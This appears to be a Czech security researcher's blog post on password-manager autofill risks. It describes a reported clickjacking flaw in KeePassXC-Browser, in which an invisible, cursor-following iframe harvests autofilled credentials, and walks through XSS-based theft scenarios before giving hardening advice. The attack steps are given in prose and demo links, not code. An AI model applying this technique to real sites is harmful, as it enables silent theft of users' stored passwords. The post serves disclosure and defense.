V prvotní tabulce k autofillu (tabulka) jsem označil, že je KeePassXC-Browser zranitelný na clickjacking. Během testování autofillu jsem u KeePassXC-Browser zjistil, že vyplňuje údaje při jednom kliknutí na ikonu v inputu. Jednoho kliknutí využívám i u chromium-based prohlížečů, a tak jsem doplnil tuto analýzu i o tuto zranitelnost.

Jeden klik by nebyl samostatný důvod ke zranitelnosti. Problémem je rozdílné chování při vytvoření neviditelného formuláře a při zobrazení formuláře v neviditelném rámu (<iframe>).

U správce hesel KeePassXC-Browser dochází ve výchozím nastavení k doplnění hesla až po kliknutí na ikonu

Je-li vytvořen nový formulář s opacity:0.2, tak je ikona stále stejně viditelná

Pokud je ale formulář v iframu a tento iframe má opacity:0.2, tak v rámu je ikona průhledná => možnost zneviditelnit ikonu

Útočníkovi poté stačí umístit neviditelný iframe na místo, kam uživatel klikne. V případě mnou vytvořeného skriptu to může být kliknutí na cookie nebo notifikační dialog.

Kromě umístění iframu na tlačítka v dialogu je vhodný i další způsob - iframe pod kurzorem myši. Konkrétně by se jednalo o iframe, který by sledoval pozici kurzoru. Iframe by měl velikost přesně jako ikona KeePassXC-Browser a obsah v iframu by byl přesně napozicován na ikonu. V tomto případě, ať by uživatel kamkoliv kliknul, tak by došlo ke kliknutí na ikonu - tedy k doplnění údajů ve formuláři v iframu.

Iframe nastaven na opacity:1

Iframe nastaven na opacity:0

Popis skriptu:

  1. Pomocí XSS zranitelnosti se vytvoří nový formulář na stránce
  2. Vytvoří se iframe, který bude načítat stejnou stránku -> v iframu bude mnou vytvořený formulář
  3. Pro iframe nastavím průhlednost (opacity:0), a také velikost, která bude shodná s velikostí ikony
  4. Obsah v iframu bude napozicován na nově vytvořený formulář - na pozici ikony
  5. Iframe bude sledovat pohyb myši a bude umístěn pod kurzorem

Demo (neviditelná ikona)

Přihlašovací formulář pro uložení hesla: https://websecurity.dev/password-managers/login/
Testovací stránka se skriptem: https://websecurity.dev/password-managers/clickjacking/


Obecným problémem v tomto případě je, že doplněk není vždy navrchu (on-top). Kromě zmíněného zneviditelnění ikony, je možné části doplňku (ikonu) překrýt nebo ovlivnit jeho viditelnou část. Níže lze vidět zmenšenou šířku iframu, který ovlivňuje viditelnou část ikony.

Další způsob zneužití by tedy spočíval v tom, že by měl iframe velikost 1x1 px a obsah v něm by byl zacílen přesně na ikonu. Tento pixelový iframe by kvůli své velikosti nebyl vidět ani při nastavení opacity:1. Iframe by měl pozici vždy pod kurzorem a technika by byla stejná - kamkoliv by uživatel kliknul, tak by došlo k doplnění údajů.

V případě, že je uloženo více údajů na dané doméně, tak je uživateli zobrazen našeptávač. V iframu je i tento našeptávač uživateli skryt. Zneužití u KeePassXC-Browser je tedy možné i při více uložených údajích.

Níže si můžete vidět, jak toto řeší správce hesel LastPass. Našeptávač je nad poloprůhledným iframemem, beze změny velikosti nebo průhlednosti.

Roboform také doplňuje údaje do formuláře jedním klikem, ale tuto zranitelnost nemá. Našeptávač je také vždy navrchu (nad rámem) a beze změny průhlednosti.

K využití této zranitelnosti dochází pouze v případě, je-li heslo uloženo přes KeePassXC-Browser. Jestliže je heslo prvně uloženo do KeePassXC, tak se vždy uživateli zobrazí potvzovací dialog.

Zranitelnost byla nahlášena a bude brzy opravena: https://github.com/keepassxreboot/keepassxc-browser/issues/1367

Potenciální rizika pro uživatele

Každému uživateli, který používá automatické vyplňování můžou být ukradeny uložené přihlašovací údaje. Odcizen může být vždy pouze jeden uložený údaj (více v části Limitace) a jen pro doménu, kde byl vložen kód od útočníka. Jediné, co musí uživatel provést je, že navštíví stránku, která byla útočníkem upravena.

Příklad - Stored XSS:
Útočník nalezne Stored XSS na stránkách Alzy. Nalezená zranitelnost je v části pro recenzi produktu. Jelikož útočník není omezen koupí produktu, tak napíše recenzi pod každý produkt s využitím XSS (vloží k nim externí sript). Tento vložený skript bude využívat výše popsané metody.

  • Každému uživateli, který má uložené heslo pro server Alza.cz ve svém prohlížeči nebo správci hesel a zároveň používá automatické vyplňování, by při návštěvě libovolného produktu došlo ke krádeži jeho uložených údajů.

Příklad - Reflected XSS:
Útočník nalezne Reflected XSS na stránkách Facebooku. Jelikož se jedná o Reflected XSS, tak útočník celou URL skryje zkracovačem (bit.ly) nebo přes Open Redirect zranitelnost.

  • Každému uživateli, který má pro Facebook uložené heslo a ve svém prohlížeči nebo správci hesel a zároveň používá automatické vyplňování, by při otevření odkazu došlo ke krádeži jeho uložených přihlašovacích údajů.

Problémem je, že uživatel předem neví, jestli na webové stránce je nebo není vložen cizí kód. Jako příklad bych uvedl, že v minulém roce jsem nahlásil XSS zranitelnost na stránkách Kosik.cz, Rohlik.cz nebo třeba Damejidlo.cz. Jedná se tedy o věrohodné stránky, které byly v minulém roce velmi navštěvované kvůli covidové situaci. Pokud útočník objevil zranitelnost před mojim nahlášením, tak mohl výše popsanou techniku na uživatelích použít.

Používá-li uživatel vždy unikátní vygenerované heslo a současně má na webové aplikaci zapnuté 2FA/MFA, tak ho případný únik hesla nemusí až tolik trápit. V jiném případě, nemá-li uživatel zapnuté 2FA/MFA na webové aplikaci, tak případný únik hesla může být problematický, jelikož se může útočník opakově přihlašovat k jeho účtu. Pokud bylo ukradeno uživateli neunikátní heslo používané i u jiné služby, tak v tomto případě získal útočník i přístup k jiné službě oběti (pokud tam není použito 2FA/MFA).

Dojde-li ke krádeži hesla výše popsanou metodou, tak se uživatel o úniku nedozví, a to ani při použití stránky https://haveibeenpwned.com. Provozovatel stránky, kde k úniku došlo, nemůže tento únik zjistit. Jedná se totiž o metodu využívající zranitelnosti na klientské straně (XSS) a špatného nastavení pro autofill ve správci hesel.

Potenciální rizika pro společnosti / Doporučení pro InfoSec

Je dost možné, že mnozí zaměstnanci používají v rámci bezpečnostních procesů nějakého správce hesel. Z výše popsaných výsledků je nutné upozornit, aby nepoužívali právě autofill funkci.

Běžně se zaměstnanci přihlašují na webové aplikace např. email, Jira, Confluence, GitHub/GitLab a jiné. V případě, že je nalezena zranitelnost, která umožňuje útočníkovi vložit vlastní javascriptový kód na stránku (XSS, Subdomain Takeover, Web Cache Poisoning apod.), tak je schopen získat přihlašovací údaje zaměstnance, a to v plaintextu. Kromě běžných přihlašovacích údajů může útočník také získat AD údaje, jelikož se obvykle pro interní stránky používá AD login.

Žádné vyplňování formulářů na phishing stránce. Útočníkovi by stačilo, aby zaměstnanec otevřel zranitelnou stránku na (sub)doméně společnosti. V případě, že má zaměstnanec uložené heslo a používá automatické vyplňování, tak by došlo k odcizení jeho přihlašovacích údajů.

Příklad - útok „insidera“:
Insider zjistí, že se používá Confluence verze, která je zranitelná na Stored XSS. Této znalosti využije a uloží na velmi navštěvované stránce skript. Každému zaměstnanci, který má pro Confluence uložené heslo se zapnutým autofillem a navštíví změněnou Confluence stránku, budou ukradeny přihlašovací údaje.

  • Jedná se o útok na stejné subdoméně. V základním nastavení má autofill zapnuto 9 správců (s Keeperem a zranitelným KeePassXC-Browser je to celkově 11)
  • Útok může být také proveden externím útočníkem, zná-li útočník Reflected XSS zranitelnost u dané webové aplikace (např. Jira, Confluence). Ke kradeži uložených údajů by poté došlo jen, pokud by zaměstnanec otevřel útočníkův odkaz.

Příklad - externí útočník:
Útočník nalezne subdoménu zranitelnou na Subdomain Takeover. Na doméně uloží vlastní skript a odešle odkaz společnosti v rámci bugbounty programu. Zaměstnanec používající správce hesel, který automaticky doplňuje hesla i na jiné subdoméně, může být v ohrožení. Útočník by si mohl předem zjistit, že ve společnosti používají emailové služby od Microsoftu (Microsoft 365) a upravil by podle toho nový přihlašovací formulář. Proč zrovna emailové služby od Microsoftu? Narozdíl od Google, u Microsoftu obvykle dochází při přihlášení k přesměrování na subdoménu organizace -> uložené heslo na subdoméně. U zaměstnance, který by tedy používal automatické vyplňování na svém emailu a otevřel by „subdomain takeover“ odkaz, by tak došlo ke krádeži jeho uložených údajů.

  • Jedná se o útok na jiné subdoméně, než kde byly údaje uloženy. Uložené heslo by bylo možné získat u správců LastPass, Bitwarden a Roboform.

Video je pouze ilustrační. K přihlašovanému emailu nemám přístup.
(Bitwarden byl ve výchozí konfiguraci s dodatečně zapnutým autofillem bez dalšího nastavení.)

Doporučení

Všem uživatelům bych doporučil funkci automatického vyplňování si zcela zakázat. Dle výše popsané analýzy si lze povšimnout, že tato funkce má více negativ než pozitiv.

Všichni správci hesel by měli mít možnost zakázat autofill. Vypnutí u prohlížečů může být ale problematické. U chromium-based prohlížečů není tato možnost vůbec k dispozici (s výjimkou Microsoft Edge). Pokud nechcete, aby se Vám automaticky doplňovaly uložené údaje, je jediným řešením smazat uložené heslo.

Nově u Microsoft Edge (verze 92.0.902.55) je možné nastavit, že se vyplní heslo až po zadání systémového hesla. Tuto změnu lze provést v Settings -> Passwords (edge://settings/passwords). Zde v části „Sign In“ vybrat „With device password“.

Microsoft Edge 91.0.864.64 (testovaná verze), 91.0.864.71

Microsoft Edge 92.0.902.55

Ve Firefoxu je možné automatické vyplňování zakázat v nastavení, konkrétně v části „Soukromí a zabezpečení“ (about:preferences#privacy) -> „Přihlašovací údaje“ je možné odškrtnout „Automaticky vyplňovat přihlašovací údaje“.

Pokud i přes všechna negativa chcete automatický autofill používat, ať už kvůli kontrole phishingu nebo kvůli pohodlí při přihlašování, tak bych doporučil nastavit si alespoň tyto změny:

  1. Ve správci hesel si nastavte automatické vyplňování pouze pro konkrétní URL, kde k uložení údajů došlo - nejenom základní doménu.
  2. V chromium-based prohlížeči si u rozšíření nastavte, že správce hesel bude aktivní až po kliknutí na ikonu (chrome://extensions -> details -> site access). Pokud se budete chtít přihlásit, tak vždy jen kliknete na ikonu doplňku a vyberete „Načíst znovu“ nebo „Reload“. Správce hesel se až v ten moment stane aktivním a doplní údaje.
  3. Používejte automatické vyplňování, které vyžaduje uživatelskou interakci - pro vyplnění údajů kliknete na daný údaj v UI ve správci hesel.

Nejideálnějším nastavením by byla poslední možnost. Pokud ale chcete, aby vaše údaje byly předvyplněné, tak bych doporučoval kombinaci prvních dvou možností. Bohužel někteří správci nenabízí pokročilejší nastavení pro autofill. Podobné je to i prohlížečů. Kromě chromium-based prohlížečů může být problém nastavit aktivaci rozšíření na kliknutí.

Pokud si nastavíte nějakou z prvních dvou možností, je nutné počítat s omezením nebo riziky:

  1. Přihlašovací URL může provozovatel různě měnit. Dojde-li k této změně, tak se Vám údaje automaticky nedoplní a bude nutné upravit URL v nastavení správce.
  2. Při aktivaci doplňku na kliknutí, je správce hesel aktivní i po přihlášení - pokud se nezměnila doména, ale jen cesta v URL. Správce je takto zapnutý pouze pro aktuální tab. Riziko krádeže přihlašovacích údajů tedy hrozí, jestliže po přihlášení (po aktivaci správce hesel) otevřete upravenou stránku od útočníka na dané doméně.

    (Příklad: Po kliknutí na ikonu se přihlásíte ke svému účtu na https://example.com/login. Po přihlášení jste přesměrován ke svému účtu https://example.com/account - správce hesel je stále aktivní. Pokud v aktuálním tabu otevřete nějakou upravenou stránku na doméně https://example.com, tak může dojít ke krádeži údajů)

Závěr

Vím, že toto není žádná nová technika. Pro mě je pouze nepochopitelné, že i v dnešní době je stále tolik správců, kteří mají zapnutý autofill v základním nastavení. Dále nerozumím tomu, že v médiích je tato funkce spíše popisována jako užitečná funkce pro rozpoznání phishing stránky, případně jako funkce, kterou by měl každý dobrý správce hesel mít. Dle mého názoru má tato funkce zanedbatelný přínos v porovnání s tím, jaká rizika může pro běžného uživatele skrývat.

Phishingovou stránku je možné poměrně jednoduše rozpoznat. Avšak zjistit při běžném prohlížení webů, zda-li je na stránce vložen cizí skript, je už velice obtížné i pro zkušené IT specialisty.

Dojde-li k úniku přihlašovacích údajů na nějaké stránce, nemusí to nutně znamenat, že se útočník dostal do databáze. Mohl jen využít XSS nebo jiné client-side zranitelnosti a získal přihlašovací údaje od uživatelů, kteří se řídili pouze radou, že by měli používat správce hesel. Prosím tedy, v případě doporučování správců hesel dodávejte, ať si automatické vyplňování údajů vypnou nebo alespoň nastaví na vyplňování pouze na jejich žádost.

Zapnuté automatické vyplňování v základním nastavení mělo 9 ze 16 testovaných správců a prohlížečů.

Při započtení Keeperu, který se ptá uživatele na autofill a uživateli zvýrazňuje souhlas, a také momentálně zranitelného KeePassXC-Browser, je možné celkově u 11 správců v základním nastavení získat uložené heslo do jednoho kliku myší.

Pokud je autofill dodatečně zapnut bez další konfigurace, tak je to celkově 13 správců hesel, u kterých je možné získat uložené heslo, pokud je stránka zranitelná na XSS (nebo podobný typ zranitelnosti).

Doufám, že jsem vám tímto článkem přiblížil možná rizika při použití autofill funkce. Jestliže ve svém prohlížeči nyní uvidíte vyplněný přihlašovací formulář bez vašeho vědomí, tak doufám, že to bude pro vás podnět k zamyšlení nad případnou úpravou autofillu ve vašem správci hesel. 🙂

FAQ

Dle zpětné vazby z různých fór to vypadá, že ne každý pochopil rizika spojená s automatickým vyplňováním (automatic autofill). Pokusím se tedy vysvětlit nejčastější dotazy:

Autofill doporučuji uživatelům pro detekci phishing stránky

Ano, určitě je možné si touto funkcí vypomoci, ale prvotně by měl uživatel znát, jak poznat phishing stránku bez správce hesel. Uživatel by měl vědět, že má ověřovat doménu v adresním řádku prohlížeče.

Pokud někdo doporučuje k detekci i aplikaci třetích stran (=správce hesel), tak by se rozhodně nemělo říkat: "Měl bys používat autofill ve správci hesel pro detekci phishingových stránek"

Ptáte se proč? A jaký typ autofillu tou větou vlastně doporučujete? Pokud použiju pouze základní nastavení (nebudu počítat KeePassXC-Browser a u Kepeeru se budu řídit doporučením), tak u 10 ze 16 testovaných správců hesel a prohlížečů se defaultně používá zcela automatické vyplňování.

Pokud chcete doporučovat autofill pro detekci phishingu, tak je nutné vždy dodat, že by měli použít manuální autofill - vyžadující uživatelskou interakci (kliknutí v UI rozšíření). Bez tohoto dodatečného vysvětlení, má uživatel více než 60 % šanci, že bude používat rizikový typ autofillu.

Proč je nutné vysvětlovat, že nemá používat zcela automatické vyplňování?

Pro detekci phishing stránek bude automatické vyplňování fungovat správně. Problém nastane u věrohodných stránek, kde máte uložené heslo. U automatického vyplňování jsou přihlašovací údaje vyplněny zcela bez vašeho vědomí a mohou být vyplněny formuláře, které ani nevidíte.

XSS není vzácná zranitelnost a tuto chybu má většina webů. Pokud někdo nalezne a zneužije Stored XSS, dokážete to předem rozpoznat pouze z odkazu např. https://www.kosik.cz/nakupni-seznam/oyqigyq ?

Stránka je věrohodná. Pokud útočník na stránce našel Stored XSS zranitelnost a oběť bude používat automatické vyplňování, tak pouhým otevřením tohoto odkazu dojde ke krádeži uloženého hesla oběti pro doménu kosik.cz.

A ano, tato zranitelnost opravdu existovala (img) - nahlášeno v srpnu 2020

Když vím o XSS zranitelnosti, tak mohu získat session uživatele

Ano, to je pravda, ale lze získat i jeho heslo? Ne. Je možné získat informace z přihlášeného účtu, změnit nebo vyresetovat jeho heslo (pokud to umožní webová aplikace), ale nelze zjistit jeho aktuálně používané heslo.

Další důležitá věc. Co když uživatel nebude přihlášený? Jak se pak získá jeho session? Pro výše popsaný útok nemusí být oběť vůbec přihlášená.

Ve firemním prostředí mohou být použity doménové údaje k přihlášení na webovou aplikaci (Jira, Confluence, GitHub atd.). Pokud útočník získá tyto přihlašovací údaje, tak je může použít k eskalaci dalšího útoku. Dokáže útočník získat "doménovou session" za pomocí XSS? Pokud se nepletu, tak ne.

Pokud útočník použije výše popsanou techniku, tak tím nic netratí, může jen získat...

Útočník může pomocí XSS zaznamenávat stisknuté klávesy nebo může počkat až uživatel vloží heslo ze správce hesel do „fakevého formuláře“.

Slovo počkat hraje v tomto případě velmi zásadní roli.

Já jako oběť bych měl tyto otázky:

  • Proč bych se měl znova přihlašovat, když jsem se před chvíli přihlásil?
  • Proč je přihlašovací okno na jiné stránce, než co se běžně přihlašuji?
  • Když půjdu zpět, budu taky odhlášen?

Cílem útočníka je být nenápadný, a aby byl útok proveden v tichosti. Dále je nutné, aby technika útočníka co nejméně vyžadovala spolupráci od oběti - ideálně žádnou. Pokud se použije „fake login screen“, tak to není nic jiného než pouhé sociální inženýrství -> bez výrazné spolupráce oběti nezíská útočník heslo.

Pokusím se přibližít co vše musí oběť udělat u „fake login screen“:

Manuální napsání hesla:

  1. Otevření URL
  2. Kliknutí do inputu username
  3. Vyplnění uživatelského jména
  4. Kliknutí do inputu hesla
  5. Vyplnění hesla

Manuální autofill:

  1. Otevření URL
  2. Kliknutí do inputu nebo kliknutí na ikonu správce hesel
  3. Výběr uživatelských údajů k vyplnění

A nyní metoda popsaná v tomto blog postu

Automatické vyplňování:

  1. Otevření URL - už v tento moment získá útočník heslo ze správce hesel
  2. Kliknutí kdekoliv na stránce - pouze pro chromium-based prohlížeče

Vidíte rozdíl ve spolupráci od oběti? Všechny akce kromě „Automatické vyplňování” vyžadují celkem velkou spolupráci od oběti - vždy musí chtít zadat do formuláře údaje. Takže, proč by měl útočník čekat, když může mít údaje ihned...

Paul Wagenseil vydal na základě toho blog postu článek (link). V článku je obsaženo vyjádření od zaměstnanců správců hesel Dashlane a LastPass.

"The only vulnerability identified is when an attacker has modified the website you're logging into, in which case they can steal your password whether or not you have autofill enabled." - Frédéric Rivain, CTO, Dashlane

The only vulnerability identified is when an attacker has modified the website you're logging into

Ne, tohle není pravda. XSS zranitelnost může být kdekoliv na dané stránce (viz tabulka se sloupcem Jiná URL - jiná cesta/path). Toto je celkem důležitý rozdíl. XSS zranitelnost se na přihlašovací stránce příliš často nevyskytuje, zatímco XSS mimo přihlašovací stránku je poměrně běžná zranitelnost.

in which case they can steal your password whether or not you have autofill enabled

Ani s druhou částí věty nesouhlasím. Když uvedu příklad právě pro Dashlane, který má automatické vyplňování zapnuté v základním nastavení, tak je rozdíl poměrně zásadní. Při použití Dashlane dojde ke krádeži hesla už při načtení stránky (zcela automaticky), zatímco při vypnutém autofillu musí oběť vykonat minimálně 2 výrazné akce (musí dobrovolně vyplnit data do formuláře) - vysvětleno v předchozí části.

Na gifu si lze povšimnout, že stránka, kde došlo ke krádeži údajů není přihlašovací. Útok proběhl „v tichosti”, a to jen pouhým otevřením odkazu. Stačí si tedy jen představit, že místo websecurity.dev je doména Facebook.com, Twitter.com, Coinbase.com nebo jiná.

"we always recommend users only visit sites and click on links that they trust to prevent against potential attempts to steal login information." - Dan DeMichele, VP Product Management, LastPass

Toto je velice dobré doporučení, ale jen pokud nepoužíváte správce hesel, který má zapnuté automatické vyplňování - LastPass používá automatické doplňování už v základním nastavení. Pokud byste používali správce hesel, který doplňuje hesla zcela automaticky, tak na věrohodné stránce, kde máte uložené heslo, může nastat problém.

Jsou všechny následující stránky bezpečné?

  • https://paypal.com/signin
  • https://gitlab.com/Nyangawa/xss/merge_requests/1
  • https://www.starbucks.com/coffee/espresso/latte-macchiato
  • https://www.amazon.com/clouddrive/share/P9RHny1WRdZtZHKVnqzyXclDf6U7d2Ma9qy5Z5Y40

Je možné zjistit před otevřením stránky, že jsou opravdu bezpečné? Bude-li odkaz otevřen správcem hesel, který doplňuje formuláře zcela automaticky, tak jen pouhé otevření vede ke krádeži hesla.

A odpověď je: Ikdyž se jedná všechno o věrohodné domény, tak všechny tyto stránky měly v minulosti zranitelnost Stored XSS. Pokud jste v minulosti měli uložené heslo na těchto doménách a používali jste správce hesel se zapnutým automatickým doplňováním (např. LastPass), tak pouhým otevřením odkazu došlo ke krádeži uloženého hesla. Kdyby uživatelé používali pouze manuální autofill nebo žádný, tak by k automatické krádeži hesla nedošlo.

(Reference k odkazům: https://hackerone.com/reports/488147, https://hackerone.com/reports/508184, https://hackerone.com/reports/188972, https://miro.medium.com/max/1312/0*MB0lML2ypg48RBmk)